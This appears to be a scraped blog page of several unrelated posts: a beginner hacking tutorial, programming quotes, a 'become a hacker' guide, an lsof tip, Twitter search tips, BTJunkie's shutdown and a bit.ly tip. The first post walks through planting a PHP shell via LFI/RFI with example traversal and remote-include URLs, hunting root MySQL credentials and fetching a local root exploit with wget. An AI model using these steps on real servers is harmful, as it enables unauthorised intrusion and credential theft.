Art of hacking 4 - spyd3rm4n's guide to hacking

Well this is the part 4 of the art of hacking series I've been posting here. Since the original site dmz has been down since long time, I have been uploading these tutorials. This part of tutorial explains what a PHP shell is and how you can use the php shell to gain the root access in the servers.

[0x01] PHP_Shell - what it is
[0x02] Root
[0x03] Obtaining_Root

Sub PHP_Shell{
What is a PHP Shell you may ask yourself. A PHP Shell is exactly what it says. It is a shell written in PHP that is used to emulate console and contains automated scripts to help you do whatever it is that you need. My favorite shell is the x2300, although it is hard to come by.
}

Sub Root{
root is the user on a nix based OS that has all privileges to do anything wished. Obtaining it through a PHP Shell can be a long and frustrating process.

The first thing that needs to be done, is the get a PHP Shell on the system. This can be done through and RFI (Remote File Inclusion) vulnerability.

Example: http://site.com/index.php?page=about.php
You can use this as an LFI (Local File Inclusion) and RFI.

http://site.com/index.php?page=../../../../../etc/passwd

This will show the passwd on the linux box. Giving you directory listing for every user on it.

http://site.com/index.php?page=http://anothersite.com/evilshell.php

This will include the evilshell.php located at anothersite.com

Looking for a vulnerability in a script:
The easiest way to find an LFI/RFI is to look for something like

include();
@include();

as long as the include() function includes user input, like

$page = $_GET['page'];

This is the GET method, $page is assigned to the value of page. http://site.com/index.php?page=
@include($page);

^ Jackpot.

Once the shell is on the site, you can look around for anything useful on the box that can be used to obtain root. I suggest looking for config files that contain mysql information. If you find the resellers config or global.inc file and it contains root mysql information, you can use this to look through the mysql database for any software that requires root input.
Example:

Lets say for the sake of this tutorial, I have software on my computer that requires root to run. So I have to give it the root user and password. This is stored in the mysql database. Once someone is in the mysql database and finds the information for that software, they will see the root user and pw for the box.

That is one of the most common ways of obtaining root through research. One thing to note, is that hosting companies often forget to assign a password for root mysql. So if you have a PHP Shell, try connecting to the SQL Database using the user root and no password. Funny how there is no fix for human error.

Another way to obtain root is through an overflow. You can get these root shells, usually scripts that will exploit and overflow a process running as root to spill out/change/grant a user root privileges.
Example:

There is a process running as root, this process is a result of the program called shell_av (Shell AntiVirus)

Now, lets say I know a local root overflow exploit for shell_av. I will create a script using shell code (which will be covered in the mini-book stack/buffer overflows) in C that will overflow this app and use the PHP Shell to wget it from a remote server so I don't have to type it all up in that little cmd box.

Once executed the cmd box will output the information for that overflow. Let's say that the overflow only granted the user that the shell is on root priviledges.
(The PHP Shell is located on in the directory of /home/bob/public_html/ - bob is the user)
This would grant bob root privileges. Now all you have to do is get bob's password and login SSH, and you have complete control of the box.
}

- Credits : Kr3w of TheDefaced.


Read more...

Best Programming and Computer Quotes and Sayings

Few weeks ago, I was tweeting a lot of programming quotes and sayings I was reading elsewhere in different websites. I thought why not post all those fantastic cool and funny quotes about computer and programming here so here comes this new blog post. Come and read this quotes once you have finished the overloaded tiresome session of writing technologies :D.

Open source is not communism because it does not force people. --Eric S Raymond in Revolution OS

Wozniak designed Apple II. Ken designed Lisa. Jef Raskin designed Macintosh. Sanders designed Apple III. What did Jobs design? Nothing.

Real programmers don't code in BASIC. Actually, no programmers code in BASIC after reaching puberty.

Saying that Java is nice because it works on all OSs is like saying that anal sex is nice because it works on all genders.

"I won't program in java anymore. I'm not Marxist and don't believe in classes." --phluid

Knowing what not to use is far better than knowing what to use in programming languages.

A professional programmer is an amateur who never quits. --Morendil

“If debugging is the process of removing software bugs, then programming must be the process of putting them in.” – E. Dijkstra

Any fool can write code that a computer can understand. Good programmers write code that humans can understand. -Martin Fowler

One man’s crappy software is another man’s full time job.

The best thing about a boolean is: even if you are wrong, you are only off by a bit.

A documented bug is not a bug; it is a feature.

C++, where friends can access your privates.

"It's hard enough to find an error in your code when you're looking for it; it's even harder when you've assumed your code is error-free." - Steve McConnell

"The first 90% of the code accounts for the first 90% of the development time. The remaining 10% of the code accounts for the other 90% of the development time." - Tom Cargill

"Most software today is very much like an Egyptian pyramid with millions of bricks piled on top of each other, with no structural integrity, but just done by brute force and thousands of slaves." - Alan Kay

Amazon became no.1 shopping site coz in the days b4 search giant Google existed,Yahoo would list the sites in their directory alphabetically

"I’ve finally learned what ‘upward compatible’ means. It means we get to keep all our old mistakes."

There are two ways of constructing a software design. One way is to make it so simple that there are obviously no deficiencies. And the other way is to make it so complicated that there are no obvious deficiencies.

There are only two kinds of programming languages: those people always bitch about and those nobody uses.

Windows NT addresses 2 Gigabytes of RAM, which is more than any application will ever need. --Microsoft Corporation in 1992 :D

Please contribute some you know or you've heard recently :D

Read more...

Hacking Step by Step For Beginners [Guest Post]

This article is an excellent step-by-btep tutorial for those who want to be hackers. Don't expect it to teach you step-wise process of hacking a website or an e-mail address. Instead, this tutorial is aimed to help you how you should proceed to really understand the computer systems so that you become a real computer hacker.

"How do you hack"? "I wanna to learn hacking". "How to get started"?
"How can I get the password"? "How do I crack "?

Does this sound like you? who needs to learn how to hack? And nobody
will even speak to you much less send you any info???

Fear not!!! Here are step-by-step instructions on how to become a
hacker. Simply follow the instructions given below, and when you get to
the end you will be a real hacker.

Ok, here are the step-by-step instructions. Follow them exactly and you
will be a real hacker. Once you are comfortable with, you can branch out
into other areas...

[1] Well, if you are a real novice on, it is hard, you wouldn’t be
reading this document now anyways! For starter now get a gud INTERNET
connection.

[2] Now, Net runs on Unix base system, I guess there will be no harm
saying that, since >80% server uses Linux! So naturally, you have to do
the same. So download a any Linux distribution (starters Linux Mint
would be really helpful).

[3] Its time for change! and for real! Install Linux in full hard drive!
Its not like I'm the enemy of other OS, its just the human nature to
avoid the change! if its critical Re-partition your hard drive for dual
boot. If you are using Windows don't even bother about it, they are for
lamer anyway.

[4] Get comfortable with Linux environment. Till this point you learn
about major distribution & their philosophies. You try different stuffs!
Change themes, install software! write your own review in blogs, create
fb pages and google groups and post lot [I wonder how many are still
active!]
"Ahh! awesome! just can't wait for new release of 12.04" something like
that.

[5] Start learning about a programming language called C. You try to
switch between the different IDE, and some bozo will tell you C is just
back screen! no GUI try something like JAVA which is worthless shit( या हावा)! don't be
fooled by them coz real hacker will never use the worthless shit (हावा) like JAVA.

[6] This is the time where you find your self into the religious cult of
the distro's. Now start learning Black Screen with blinki cursor called
shell. You will realized the importance of that black screen! (I bet you
hated the Blue screen while in the far past you still used windows).
Learn till the point so you don't need to touch Mouse or need GUI.

[7] You grow impatient can't find stuff which you want! And someone tell
you ask in IRC they are very decent folks! and really helpful. You make
fool out of yourself taking with bots or Getting kicked out / banned.
You realize you should read the Rules which eventually make your habit
of reading the man pages of every command even though you don't get it.
Dunn't worry your are 5% of the way out of lamerland!

[8] You find the gcc is not only the C complier but collection of
complies. Its man pages can be turn into 500 pages book. In mean time
branch out to some cool scripting languages like python, Perl. You might
also wanna write your own Linux programs. Read them use them Read them
again, because most of what you read the first time confused you.
Now play with Perl, C, C++ on your system until you can actually
program. Now practice programming for a while until you get at least a
little good at it. Give yourself plenty time to practice.

[9] Its the time when you have the Linux Journal Archive. Now its time
to grab some book called Operating System. Now its time to leave your
बच्चा Linux to something serious. I guess you would have now realize what
you are using was totally for posers. If not you don't think so you have
still some years left.

[10] By this time wikipedia, distro forum, programming forums would have
been your most visited sited, and u realize the groups in the fb are
filled with posers and bozo. You understand the true meaning of hacking
and you stock piled the books and might have also running Apache server!
FTP and samba too.

[11] Install non-childish(non-बच्चा) Linux on your system. Install everything. If your
system boots up properly to Linux, then congrats! Now that you are
running a real OS, read the docs, man pages, how-to's, FAQs, etc. Of
course, you won't understand most of it right away, but read all this
stuff anyway, so you will know where to look later. Read it all? Ok, go
back and read it again. You are 5% of the way to be hacker!

[12] Now configure your system for you have tons of text files to edit,
and you realize the GUI installer is useless after all. But at this
point you might possibly know enough to actually ask a partly
intelligent question on the net. You subscribe tons of mailing list.
Whatever you do, DON'T POST ANYTHING, because nobody wants to read
anything you have to say yet. Just lurk for a year or two. You *might*
now be IRC (as long as nobody remembers you were one who use to talk
with bots).

[13] Now you need to get and read all the RFCs. These contain
information that is vital if you want to hack the net. Again, you didn't
understand everything the first time, so read them
all again. You learn about the Cryptography, File sharing, SSH, SSL,
802.11, lots of stuffs. By this time you would have 100 books regarding!
and long list of your personal notes and reference cards.

[14] Now, you understand the developer mailing list one you subscribed
long time back and few security related mailing lists which you used to
ignore and divert them to trash. You should have enough info to try
some simple hacks, so try some. If they work, great, you are almost a
junior hacker. If they don't work, then do some more reading and try
again. Don't give up, keep at it even if it takes you a few years.

[15] Explore the net. Try things. Look for security holes. Read a lot of
source code. Write some hacking utilities. At this point, you are now a
real junior hacker and start pasting someone’s database in paste bin!

This whole process does take a little bit of time, but it is the
quickest way for an lamer to learn to hack. Some of you lamer don't have
the brain power to complete the above 15 steps, but try anyway...

True, this might take you a few years, but it will be worth the wait. If
you post anything too early, people will know that you are still a lamer
and wanna-be, and everyone will laugh at you and flame you and call you
nasty names, just like when you were on Windows!

Reference and Copies:

17 Steps to Hack
Ubuntards
some cools stuff which i can't remember

The article was originally contributed by rhoit in the foss-nepal mailing list.

Read more...

Determine All Internet Connections And Corresponding Running Processes In Linux [How To]

Sometimes you might want to see all the internet connections being made by the running processes in the linux system. I am writing this small commandline trick to view all the internet connections using the lsof command.

lsof command is used to all the open files and the processes opening those files. All kind of resources such as disk, network connections, pipes, etc. are actually implemented as files in linux and the lsof command allows you to get the report regarding the opened files.

To view all the internet connections and the corresponding processes, we can simply use the -i switch as below:

samar@Techgaun:~$ lsof -i

The above command runs fine but is a little bit slow since it tries to resolve the network addresses to host names and port numbers to port names. So you might wish to use the command below for faster response from the lsof command.

samar@Techgaun:~$ lsof -i -Pn

Also, running the lsof command as the root(i.e. sudo lsof | grep -i listen or sudo lsof -i | grep -i listen) will give more extra outputs esp. the "LISTEN" ones i.e. the processes that are listening for incoming connections. This piece of information might be useful in determining the backdoors and rootkits but I've not yet explored into that.

I hope this little trick comes useful sometimes.


Read more...

Useful Twitter Search Tips and Tricks

Lately I've been using twitter a lot and since I love to dig inside stuffs, I thought to learn what features twitter search gives to its user and I found that twitter search is also powerful and supports some handy search operators similar to google(but less than that of google). Here I will list few of the search techniques that you can employ in twitter.


Twitter's search algorithm is pretty decent and it uses an algorithm that determines the quality of the Tweet by letting users interact with it the way they normally do. Anyway lets see few search techniques that will be useful while using twitter.

a) Exact phrase search: Wrapping your search text with double quotes(eg. "cricket nepal") will let you to search for exact phrase in twitter. Note that the exact phrase search also enlists the tweets with special characters such as #, :, etc.(eg. tweets with #cricket #nepal are also seen while searching as "cricket nepal").

b) Using OR operator: OR operator allows you to search for all the tweets containing either of the keywords. An example search would be like politics OR crime.

c) Exclude tweets with certain keywords: If you want to omit the tweets containing certain words, the minus sign can be used to exclude the tweets containing those keywords. For example, the search cricket -india will exclude the tweets containing the word india(Btw, no offense meant).

d) Tweets from specific user: To view the tweets sent by someone, you can simply use the from keyword. For example, from:techgaun would list all the tweets I've sent.

e) Tweets to specific user: You can also view the tweets sent to the specific user i.e. mentions by using the to keyword. For example, to:techgaun would list all the tweets mentioning me.




f) Location based search: Twitter allows you filter your search based on the location. The near keyword can be combined with your search query which can be used to search for results near us. Example searches are near:dhulikhel and resort near:dhulikhel

g) Location + Range search: We can also search twitter within specific distance from a specific location. The within keyword can be combined with the near keyword for this kind of search. Example search queries are near:kathmandu within:10km and near:kathmandu within:10mi

h) Date based search: We can use the twitter's date based search to narrow down our search. The two keywords since and until can be used for date based search in twitter. To search all the tweets about nepal after february 01, 2012 I would do nepal since:2012-02-01 and to search all the tweets about Nepal before 2012 January, I would do nepal until:2012-01-01. For some reason, the until search does not seem to work, at least for me however twitter help shows this keyword in the list.

i) Searching tweets containing URLs: So you might want to search for the useful URLs other people tweet on the twitter. Twitter allows to do such search by using filter keyword. For example, I could find links about web development by the search query web development filter:links.

j) Searching questions: You can use twitter search to find the tweets that are questions. THe ? keyword is used for this purpose. An example search query is social media ? which would result in the tweets containing questions related to social media.

You can combine one or other search techniques to narrow down your search. Also, the advanced twitter search is available HERE. I hope this information becomes useful for you. :)


Read more...

Useful Twitter Keyboard Shortcuts

Twitter allows number of keyboard shortcuts to be used and those shortcuts are quite handy while using twitter. Those shortcuts provide easy, fast and alternative way to do different things in twitter.

Note that these shortcuts work on twitter.com website and will not work on other twitter clients(unless those clients have implemented keyboard shortcuts). I hope the keyboard shortcut lovers will definitely find this list useful. The image below lists all the possible shortcuts that can be used in twitter.

Read more...

One of the Largest Bittorrent Search Engine BTJunkie Shuts Down

BTJunkie.org, one of the largest bittorrent index and search engine, has been shut down by the site operators today. The major reason for shutdown is the legal actions taken on other file sharing websites such as thepiratebay and megaupload.

BTJunkie has been one of the biggest bittorrent search engine which came in the torrent scene since 2005. Personally, BTJunkie was #1 source of torrent stuffs for me and I'll definitely miss BTJunkie and I think so will many internet and torrent users.

The official website of BTJunkie is now showing a goodbye message which writes:

This is the end of the line my friends. The decision does not come easy, but we've decided to voluntarily shut down. We've been fighting for years for your right to communicate, but it's time to move on. It's been an experience of a lifetime, we wish you all the best!

R.I.P. BTJunkie

Read more...

How To View Actual Full URL Of bit.ly URLs

URL shortenings are being widely used these days however one problem with them is possibility that the actual link might be some kind of malware or spam. So it is always a good practice to know the actual URLs the bit.ly URLs are pointing to. I am writing this post to share a short tip on how to view the actual URL of bit.ly shortened URLs.

The process is pretty simple and all you have to do is add a + character at the end of the bit.ly URL and open it in the browser. For example, if I have a URL http://bit.ly/xsbGUp, I will change it to bit.ly/xsbGUp+ and open this new URL in the browser. Then I'll be able to get information regarding this particular URL including the actual long link of that shortened URL. Alternatively, you can load bit.ly/info/xsbGUp to get the same information regarding the shortened URL. I hope this post becomes useful for you. :)


Read more...